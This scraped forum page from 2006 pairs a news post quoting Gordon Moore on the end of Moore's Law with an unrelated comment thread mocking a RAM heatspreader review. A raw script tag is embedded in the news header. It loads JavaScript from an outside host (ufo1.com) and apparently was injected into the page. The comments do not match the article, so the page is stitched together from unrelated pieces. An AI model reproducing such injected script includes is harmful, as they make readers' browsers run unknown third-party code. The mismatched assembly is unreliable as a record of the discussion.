Moore's Law Dead?

"For all you computer engineers out there, this may come as a shock: Moore's Law is dead according to the man himself. Read on to find out why.
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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 15/11/2006
Author: PV5150
Source: Techworld.com

Forty years after the publication of his law, which states that transistor density on integrated circuits doubles about every two years, Moore said this morning: "It can't continue forever. The nature of exponentials is that you push them out and eventually disaster happens.

All those years of "the number of transistors on a die will double every 18mo" beaten into your heads is all for naught. Truth be told, the real reason for the death of Moore's Law has to do with the instability introduced in current transistor technology at higher frequencies. To compensate, chips have gone horizontal. Rather than increasing the frequency to produce better performance, manufacturers are increasing the transistor count via the number of cores on a die at a lower frequency. By doubling the number of transistors at a given stable frequency, vendors can produce near double performance numbers at lower frequencies and power consumption resulting in increased stability.

"In terms of size [of transistor] you can see that we're approaching the size of atoms which is a fundamental barrier, but it'll be two or three generations before we get that far - but that's as far out as we've ever been able to see. We have another 10 to 20 years before we reach a fundamental limit. By then they'll be able to make bigger chips and have transistor budgets in the billions." (Techworld.com, 2006)

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15-11-2006, 02:05:46

PV5150

Pros and Cons

+ Basically a 3 step process

+Make ram modules look pretty

+ Cooper

+ Helps with overclocking

- Copper has spots on it

ROFL, what a classic review :worship: That review just makes me wanna go out an buy a set right now :D

15-11-2006, 06:15:13

Dav0s
lol, cooper :D

15-11-2006, 06:17:01

Jim

lol, cooper :D



Gotta love the free Mini Cooper you get with those heatspreaders tbh :p

15-11-2006, 06:17:54

Phnom_Penh

ROFL, what a classic review :worship: That review just makes me wanna go out an buy a set right now :D


Lol, what I like is the fact he says "copper has spots on it" the sinks shouldn't look like that at all :p.

15-11-2006, 06:19:28

Jim

Lol, what I like is the fact he says "copper has spots on it" the sinks shouldn't look like that at all :p.



Doesn't he know its special Leopard skin copper ;)

15-11-2006, 11:12:35

PinGu^
'All in all, a KICKASS product!' Very proffesional might i say.......

'Copper has spots on it' intressting..... clean them off maybe?

'Make ram modules look pretty' awww.... did u hear that? it looks pretty...:crazy:

15-11-2006, 13:32:56

Toxcity
OMG! Thats one of the funniest things i have seen in ages!

That bloke can't spell at all.. Nearly as bad as me! :p

Check out there so called "forum"

15-11-2006, 14:01:46

FragTek
Are we expected to actually take a review like that seriously? Come on.... That was PATHETIC. There's like what, 3 full paragraphs? Half of which is just a bunch of fractured sentences, misspelled words, and in general a bunch of crapola.

ModSynergy is so awesome the best thing they could get lent for a review was some $5 ramsinks, rofl. Such a sad state of affairs.

15-11-2006, 14:52:59

PinGu^
lol the @ the forum....... Do they even have mods??

Loving the adveristment on every section of the forum....

15-11-2006, 15:38:34

Phnom_Penh

ModSynergy is so awesome the best thing they could get lent for a review was some $5 ramsinks, rofl. Such a sad state of affairs.


I'm prepared to put in a wager that they had to buy the ramsinks in order to review them ;).
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